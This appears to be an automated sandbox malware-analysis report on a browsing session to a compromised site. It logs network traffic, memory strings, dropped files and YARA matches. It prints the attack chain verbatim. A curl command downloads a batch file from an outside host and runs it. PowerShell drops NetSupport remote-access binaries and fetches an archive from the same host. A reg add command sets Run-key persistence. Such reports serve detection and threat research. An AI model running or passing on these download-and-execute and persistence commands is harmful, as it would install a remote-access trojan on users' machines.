Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.focuslight.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: www.focuslight.com
Source: global traffic	DNS traffic detected: DNS query: ace-project.org
Source: global traffic	DNS traffic detected: DNS query: meimei68.top
Source: global traffic	DNS traffic detected: DNS query: focuslight-www.oss-ap-southeast-1.aliyuncs.com
Source: global traffic	DNS traffic detected: DNS query: sc.lfeeder.com
Source: global traffic	DNS traffic detected: DNS query: tr.lfeeder.com
Source: global traffic	DNS traffic detected: DNS query: www.insideedgepr.com

Source: unknown

HTTP traffic detected: POST /header.php HTTP/1.1Host: www.insideedgepr.comUser-Agent: curl/7.83.1Accept: */*

Source: client32.exe, 0000001D.00000002.2022624501.000000006C090000.00000002.00000001.01000000.00000010.sdmp, HTCTL32.DLL.28.dr	String found in binary or memory: http://%s/fakeurl.htm
Source: client32.exe, 0000001D.00000002.2022624501.000000006C090000.00000002.00000001.01000000.00000010.sdmp, HTCTL32.DLL.28.dr	String found in binary or memory: http://%s/testpage.htm
Source: client32.exe, 0000001D.00000002.2022624501.000000006C090000.00000002.00000001.01000000.00000010.sdmp, HTCTL32.DLL.28.dr	String found in binary or memory: http://%s/testpage.htmwininet.dll
Source: client32.exe, 0000001D.00000002.2021848504.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891623943.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973644487.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, PCICL32.DLL.28.dr	String found in binary or memory: http://127.0.0.1
Source: client32.exe, 0000001D.00000002.2021848504.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891623943.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973644487.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, PCICL32.DLL.28.dr	String found in binary or memory: http://127.0.0.1RESUMEPRINTING
Source: hw.dll.28.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: hw.dll.28.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: powershell.exe, 0000001C.00000002.1759185059.000000000522B000.00000004.00000800.00020000.00000000.sdmp, client32.exe.28.dr, remcmdstub.exe.28.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: powershell.exe, 0000001C.00000002.1759185059.000000000522B000.00000004.00000800.00020000.00000000.sdmp, client32.exe.28.dr, remcmdstub.exe.28.dr	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: powershell.exe, 0000001C.00000002.1759185059.000000000522B000.00000004.00000800.00020000.00000000.sdmp, client32.exe.28.dr, remcmdstub.exe.28.dr	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0$
Source: powershell.exe, 0000001C.00000002.1759185059.000000000522B000.00000004.00000800.00020000.00000000.sdmp, client32.exe.28.dr, remcmdstub.exe.28.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: powershell.exe, 0000001C.00000002.1759185059.000000000522B000.00000004.00000800.00020000.00000000.sdmp, client32.exe.28.dr, remcmdstub.exe.28.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: hw.dll.28.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: hw.dll.28.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: hw.dll.28.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: hw.dll.28.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: hw.dll.28.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: client32.exe, 0000001D.00000002.2021848504.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891623943.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973644487.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, PCICL32.DLL.28.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: client32.exe, 0000001D.00000002.2021848504.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891623943.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973644487.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, PCICL32.DLL.28.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)
Source: hw.dll.28.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: hw.dll.28.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: powershell.exe, 0000001C.00000002.1759185059.000000000522B000.00000004.00000800.00020000.00000000.sdmp, client32.exe.28.dr, remcmdstub.exe.28.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: powershell.exe, 0000001C.00000002.1759185059.000000000522B000.00000004.00000800.00020000.00000000.sdmp, client32.exe.28.dr, remcmdstub.exe.28.dr	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: powershell.exe, 0000001C.00000002.1759185059.000000000522B000.00000004.00000800.00020000.00000000.sdmp, client32.exe.28.dr, remcmdstub.exe.28.dr	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: powershell.exe, 0000001C.00000002.1759185059.000000000522B000.00000004.00000800.00020000.00000000.sdmp, client32.exe.28.dr, remcmdstub.exe.28.dr	String found in binary or memory: http://ocsp.globalsign.com/rootr30;
Source: hw.dll.28.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 0000001C.00000002.1759185059.000000000522B000.00000004.00000800.00020000.00000000.sdmp, client32.exe.28.dr, remcmdstub.exe.28.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: powershell.exe, 0000001C.00000002.1759185059.000000000520A000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.28.dr, HTCTL32.DLL.28.dr, PCICL32.DLL.28.dr	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: powershell.exe, 0000001C.00000002.1759185059.000000000520A000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.28.dr, HTCTL32.DLL.28.dr, PCICL32.DLL.28.dr	String found in binary or memory: http://s2.symcb.com0
Source: powershell.exe, 0000001C.00000002.1759185059.0000000004C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000001C.00000002.1759185059.000000000522B000.00000004.00000800.00020000.00000000.sdmp, client32.exe.28.dr, remcmdstub.exe.28.dr	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: powershell.exe, 0000001C.00000002.1759185059.000000000522B000.00000004.00000800.00020000.00000000.sdmp, client32.exe.28.dr, remcmdstub.exe.28.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: powershell.exe, 0000001C.00000002.1759185059.000000000522B000.00000004.00000800.00020000.00000000.sdmp, client32.exe.28.dr, remcmdstub.exe.28.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: powershell.exe, 0000001C.00000002.1759185059.000000000522B000.00000004.00000800.00020000.00000000.sdmp, client32.exe.28.dr, remcmdstub.exe.28.dr	String found in binary or memory: http://secure.globalsign.com/cacert/root-r3.crt06
Source: hw.dll.28.dr	String found in binary or memory: http://support.steampowered.com
Source: powershell.exe, 0000001C.00000002.1759185059.000000000520A000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.28.dr, HTCTL32.DLL.28.dr, PCICL32.DLL.28.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: powershell.exe, 0000001C.00000002.1759185059.000000000520A000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.28.dr, HTCTL32.DLL.28.dr, PCICL32.DLL.28.dr	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: powershell.exe, 0000001C.00000002.1759185059.000000000520A000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.28.dr, HTCTL32.DLL.28.dr, PCICL32.DLL.28.dr	String found in binary or memory: http://sv.symcd.com0&
Source: hw.dll.28.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: hw.dll.28.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: hw.dll.28.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: hw.dll.28.dr	String found in binary or memory: http://www.counter-strike.net/cheat.html
Source: client32.exe, 0000001D.00000002.2021916267.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891661737.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973680770.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, PCICL32.DLL.28.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp
Source: client32.exe, 0000001D.00000002.2021916267.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891661737.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973680770.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, PCICL32.DLL.28.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp11(
Source: client32.exe, 0000001D.00000002.2021916267.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891661737.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973680770.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, PCICL32.DLL.28.dr	String found in binary or memory: http://www.pci.co.uk/support
Source: client32.exe, 0000001D.00000002.2021916267.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891661737.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973680770.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, PCICL32.DLL.28.dr	String found in binary or memory: http://www.pci.co.uk/supportsupport
Source: powershell.exe, 0000001C.00000002.1759185059.000000000520A000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.28.dr, HTCTL32.DLL.28.dr, PCICL32.DLL.28.dr	String found in binary or memory: http://www.symauth.com/cps0(
Source: powershell.exe, 0000001C.00000002.1759185059.000000000520A000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.28.dr, HTCTL32.DLL.28.dr, PCICL32.DLL.28.dr	String found in binary or memory: http://www.symauth.com/rpa00
Source: powershell.exe, 0000001C.00000002.1759185059.0000000004C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 0000001C.00000002.1759185059.000000000520A000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.28.dr, HTCTL32.DLL.28.dr, PCICL32.DLL.28.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: powershell.exe, 0000001C.00000002.1759185059.000000000520A000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.28.dr, HTCTL32.DLL.28.dr, PCICL32.DLL.28.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: hw.dll.28.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: powershell.exe, 0000001C.00000002.1759185059.000000000522B000.00000004.00000800.00020000.00000000.sdmp, client32.exe.28.dr, remcmdstub.exe.28.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: curl.exe, 00000018.00000002.1578523961.0000000002A70000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000018.00000003.1577847612.0000000002985000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000018.00000002.1578218088.0000000002958000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000018.00000003.1577752347.0000000002985000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.insideedgepr.com/header.php
Source: curl.exe, 00000018.00000002.1578218088.0000000002950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.insideedgepr.com/header.php-oC:
Source: curl.exe, 00000018.00000002.1578327815.0000000002985000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000018.00000003.1577847612.0000000002985000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000018.00000003.1577752347.0000000002985000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.insideedgepr.com/header.phpUZ
Source: curl.exe, 00000018.00000002.1578218088.0000000002958000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.insideedgepr.com/header.phpf
Source: curl.exe, 00000018.00000002.1578218088.0000000002958000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.insideedgepr.com/header.phpj
Source: client32.exe, 0000001D.00000002.2019433099.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 0000001D.00000002.2019290970.0000000000E80000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 0000001D.00000002.2017612312.0000000000905000.00000004.00000020.00020000.00000000.sdmp, reg.exe, 0000001E.00000002.1764196566.0000000003240000.00000004.00000020.00020000.00000000.sdmp, xss.bat.24.dr	String found in binary or memory: https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781
Source: powershell.exe, 0000001C.00000002.1757624677.0000000002DCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c7811/
Source: reg.exe, 0000001E.00000002.1764196566.0000000003240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781LOCALAPPDATA=C:
Source: client32.exe, 0000001D.00000002.2017612312.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781Y
Source: client32.exe, 0000001D.00000002.2019290970.0000000000E80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781s=

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 141.193.213.10:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 141.193.213.10:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49761 version: TLS 1.2

Source: Yara match	File source: 0000001D.00000002.2021848504.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.1973644487.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1891623943.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: client32.exe PID: 5784, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 3244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 4772, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Directory\PCICL32.DLL, type: DROPPED

System Summary

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\client32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\nkakus\avcodec-53.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\TCCTL32.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\tailji\avcodec-53.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\gehrga\avcodec-53.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\branding.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\pcicapi.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\kpodja\avcodec-53.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\nkakus\avutil-51.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\kpodja\itvwd64.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\katrga\libstdc++-6.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\nkakus\itvwd64.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\kpodja\libstdc++-6.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\mirvfa\avcodec-53.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\tailji\avutil-51.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\katrga\avcodec-53.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\gehrga\avutil-51.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\PCICHEK.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\katrga\itvwd64.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\mirvfa\avutil-51.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\PCICL32.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\kpodja\avutil-51.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\gehrga\libstdc++-6.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\tailji\libstdc++-6.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\HTCTL32.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\gehrga\itvwd64.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\msvcr100.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\mirvfa\libstdc++-6.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\nkakus\libstdc++-6.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\remcmdstub.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\tailji\itvwd64.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\mirvfa\itvwd64.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\katrga\avutil-51.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\hw.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Directory\kpodja\itvwd64.sys

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Directory\client32.exe

Process token adjusted: Security

Jump to behavior

Source: libstdc++-6.dll2.28.dr	Static PE information: Number of sections : 11 > 10
Source: avcodec-53.dll0.28.dr	Static PE information: Number of sections : 11 > 10
Source: avcodec-53.dll3.28.dr	Static PE information: Number of sections : 11 > 10
Source: avcodec-53.dll1.28.dr	Static PE information: Number of sections : 11 > 10
Source: libstdc++-6.dll0.28.dr	Static PE information: Number of sections : 11 > 10
Source: libstdc++-6.dll1.28.dr	Static PE information: Number of sections : 11 > 10
Source: avcodec-53.dll4.28.dr	Static PE information: Number of sections : 11 > 10
Source: libstdc++-6.dll3.28.dr	Static PE information: Number of sections : 11 > 10
Source: avcodec-53.dll.28.dr	Static PE information: Number of sections : 11 > 10
Source: libstdc++-6.dll.28.dr	Static PE information: Number of sections : 11 > 10
Source: avcodec-53.dll2.28.dr	Static PE information: Number of sections : 11 > 10
Source: libstdc++-6.dll4.28.dr	Static PE information: Number of sections : 11 > 10

Source: branding.dll.28.dr

Static PE information: No import functions for PE file found

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Program_Cs1" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Directory\client32.exe" /f

Source: itvwd64.sys2.28.dr

Binary string: \Device\itvwd

Source: classification engine

Classification label: mal100.phis.troj.win@48/239@25/13

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Directory

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4520:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4952:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mtgkoksc.wue.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\SysWOW64\cmd.exe cmd /K C:\WINDOWS\system32\cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat" && start /min "" "C:\ProgramData\xss.bat" Press Enter

Source: C:\Users\user\AppData\Roaming\Directory\client32.exe

File read: C:\Users\user\AppData\Roaming\Directory\client32.ini

Jump to behavior

Source: C:\Windows\SysWOW64\curl.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=3220,i,14266024722842573986,13548840143605449493,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3268 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://www.focuslight.com/"
